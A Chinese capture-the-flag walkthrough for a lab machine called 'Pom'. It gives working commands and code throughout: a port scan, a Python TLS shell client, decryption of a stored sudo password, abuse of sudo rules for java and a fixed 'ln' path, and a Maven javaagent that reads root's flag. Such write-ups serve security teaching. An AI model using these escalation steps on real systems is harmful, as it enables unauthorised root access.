

# I POM-温岐

## 关联思路

- 思路/Linux本地提权-分层sudo与固定程序利用

## 攻击链概览

1. 全端口扫描补出 `55555/tcp`
2. `55555/tcp` 是一个直接给 `mav1234` 的 TLS shell
3. `~/.local/ssl.pem` 私钥解开 `~/.local/maven.meta`，拿到 `mav1234` 的 sudo 密码
4. `mav1234 -> sudo /usr/bin/java as qc2000`
5. `qc2000 -> sudo /home/terra536/ln as terra536`
6. 把 `/home/terra536/ln` 改链到 `/bin/sh`，拿到 `terra536` shell
7. `terra536 -> sudo NOPASSWD /usr/bin/mvn`
8. 用本地 `javaagent` 让 root 跑 Maven 时直接打印 `/root/root.txt`

## 1. 补全端口

一开始只扫到 `22` 和 `80` 不够，要补一次全 TCP。

靶机是本地网段，直接用 `nmap` 即可：

```
nmap -p- -T4 192.168.56.3
```

会补出：

```
22/tcp
80/tcp
55555/tcp
```

这里真正的入口是 `55555/tcp`。

## 2. 连上 55555 的 TLS shell

这个端口这里可以拿tls的shell。

```

import socket
import ssl
import sys
import threading

HOST = "192.168.56.3"
PORT = 55555

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

raw = socket.create_connection((HOST, PORT))
s = ctx.wrap_socket(raw, server_hostname=HOST)

def recv_loop():
    while True:
        try:
            data = s.recv(4096)
            if not data:
                break
            sys.stdout.write(data.decode("utf-8", "ignore"))
            sys.stdout.flush()
        except OSError:
            break

threading.Thread(target=recv_loop, daemon=True).start()

try:
    while True:
        line = sys.stdin.readline()
        if not line:
            break
        s.sendall(line.encode())
except KeyboardInterrupt:
    pass

```

运行：

```
python .\tls_shell.py
```

连上以后会直接看到：

```
sh-5.2$
```

先确认身份并拿 `user`：

```
id
whoami
pwd
cat /home/mav1234/user.txt
```

输出：

```
uid=1000(mav1234) gid=1000(mav1234) groups=1000(mav1234)
mav1234
/home/mav1234
flag{user-f823e147843dd5b23f0ac9d243ae12fb}
```

### 3. 解出 mav1234 的 sudo 密码

先看家目录线索：

```
ls -la /home/mav1234
ls -la /home/mav1234/.local
cat /home/mav1234/journal
```

关键输出：

```
I've encrypted my secret with my key. No one else can read it now. It's
safely hidden away:)
```

同时能看到：

```
/home/mav1234/.local/ssl.pem
/home/mav1234/.local/maven.meta
```

`ssl.pem` 是明文私钥, `maven.meta` 恰好是 `512` 字节, 对应 `4096-bit RSA` 单块密文, 直接解:

```
openssl pkeyutl -decrypt \  
-inkey /home/mav1234/.local/ssl.pem \  
-in /home/mav1234/.local/maven.meta
```

解出来是:

```
MvxPf8yCB8lxXk5A
```

这就是 `mav1234` 的 `sudo` 密码。

## 4. mav1234 提到 qc2000

验证 `sudo`:

```
printf '%s\n' 'MvxPf8yCB8lxXk5A' | sudo -S -l
```

输出核心是:

```
User mav1234 may run the following commands on Pom:  
(qc2000) PASSWD: /usr/bin/java
```

说明可以用密码以 `qc2000` 身份执行 `java`。

为了稳定地以 `qc2000` 跑任意命令, 我用了一个很小的 Java 运行器。

宿主机新建 `Runner.java`:

```
import java.io.InputStream;  
  
public class Runner {  
    public static void main(String[] args) throws Exception {  
        Process p = new  
ProcessBuilder(args).redirectErrorStream(true).start();  
        try (InputStream in = p.getInputStream()) {  
            in.transferTo(System.out);  
        }  
        System.exit(p.waitFor());  
    }  
}
```

```
}  
}
```

编译：

```
javac .\Runner.java
```

然后把 `Runner.class` 传到靶机 `/tmp/Runner.class`。传法很多，最简单的是用你自己的 HTTP 服务、base64、或者像我一样直接通过现有 shell 写进去。

传好以后，先验证：

```
printf '%s\n' 'MvxPf8yCB8lxXk5A' | \  
sudo -S -u qc2000 /usr/bin/java -cp /tmp Runner /usr/bin/id
```

能看到：

```
uid=1001(qc2000) gid=1001(qc2000) groups=1001(qc2000)
```

## 5. qc2000 提到 terra536

继续看 `qc2000` 的 sudo：

```
printf '%s\n' 'MvxPf8yCB8lxXk5A' | \  
sudo -S -u qc2000 /usr/bin/java -cp /tmp Runner \  
/bin/sh -c 'sudo -l 2>&1'
```

关键输出：

```
User qc2000 may run the following commands on Pom:  
(terra536) NOPASSWD: /home/terra536/ln
```

这里是关键跳板。

`/home/terra536/ln` 实际上就是 `ln` 这个程序，只是路径被固定住了。它的价值在于：

- 你不能直接拿 `terra536` shell
- 但你能以 `terra536` 身份执行一次“创建链接”

正确打法不是在外面建一个 `/bin/sh` 的软链然后直接执行，而是直接把 `sudo` 规则绑定的那个目标本身改掉：

```
printf '%s\n' 'MvxPf8yCB8lxXk5A' | \  
sudo -S -u qc2000 /usr/bin/java -cp /tmp Runner \  
/bin/sh -c 'sudo -u terra536 /home/terra536/ln -sf /bin/sh  
/home/terra536/ln'
```

这一步完成后，再调用同一条 `sudo` 规则，实际上执行的已经不是原来的 `ln`，而是 `/bin/sh`。

验证：

```
printf '%s\n' 'MvxPf8yCB8lxXk5A' | \  
sudo -S -u qc2000 /usr/bin/java -cp /tmp Runner \  
/bin/sh -c 'sudo -u terra536 /home/terra536/ln -c "id; whoami; sudo -l  
2>&1"'
```

输出会显示：

```
uid=1002(terra536) gid=1002(terra536) groups=1002(terra536)  
terra536  
User terra536 may run the following commands on Pom:  
  (ALL) NOPASSWD: /usr/bin/mvn
```

这就是最后一跳。

## 6. terra536 提到 root: sudo mvn

思路不是跑普通 Maven 任务，而是利用 Maven 启动 JVM 时会读取当前目录 `.mvn/jvm.config`。

只要我们：

1. 准备一个 `javaagent`
2. 在 `.mvn/jvm.config` 里写入 `-javaagent:/path/to/agent.jar`
3. 让 `root` 通过 `sudo /usr/bin/mvn` 在该目录执行

那么 agent 会在 JVM 启动最早阶段以 root 权限运行。

## 6.1 准备 agent 目录

```
mkdir -p /var/tmp/mvnroot/.mvn
cd /var/tmp/mvnroot
```

## 6.2 写 agent 源码

Agent.java :

```
import java.lang.instrument.Instrumentation;
import java.nio.file.Files;
import java.nio.file.Path;

public class Agent {
    public static void premain(String args, Instrumentation inst) throws
Exception {
        System.out.println(new
String(Files.readAllBytes(Path.of("/root/root.txt"))));
        System.exit(0);
    }
}
```

MANIFEST.MF :

```
Premain-Class: Agent
```

pom.xml 可以极简:

```
<project xmlns="http://maven.apache.org/POM/4.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>x</groupId>
    <artifactId>x</artifactId>
    <version>1.0</version>
</project>
```

.mvn/jvm.config :

```
-javaagent:/var/tmp/mvnroot/agent.jar
```

## 6.3 编译和打包

```
cd /var/tmp/mvnroot
javac Agent.java
jar cfm agent.jar MANIFEST.MF Agent.class
```

确认一下：

```
jar tf /var/tmp/mvnroot/agent.jar
sed -n '1,20p' /var/tmp/mvnroot/.mvn/jvm.config
```

## 6.4 让 root 跑 Maven

前面已经把 `/home/terra536/ln` 改成 `/bin/sh` 了，所以现在可以直接用它作为 `terra536` shell：

```
printf '%s\n' 'MvxPf8yCB8lxXk5A' | \
sudo -S -u qc2000 /usr/bin/java -cp /tmp Runner \
/bin/sh -c 'cd /var/tmp/mvnroot && sudo -u terra536 /home/terra536/ln -c
"cd /var/tmp/mvnroot && sudo /usr/bin/mvn -q validate"'
```

输出直接就是：

```
flag{root-4a29b2f65b40052a804c0cc4afb906bd}
```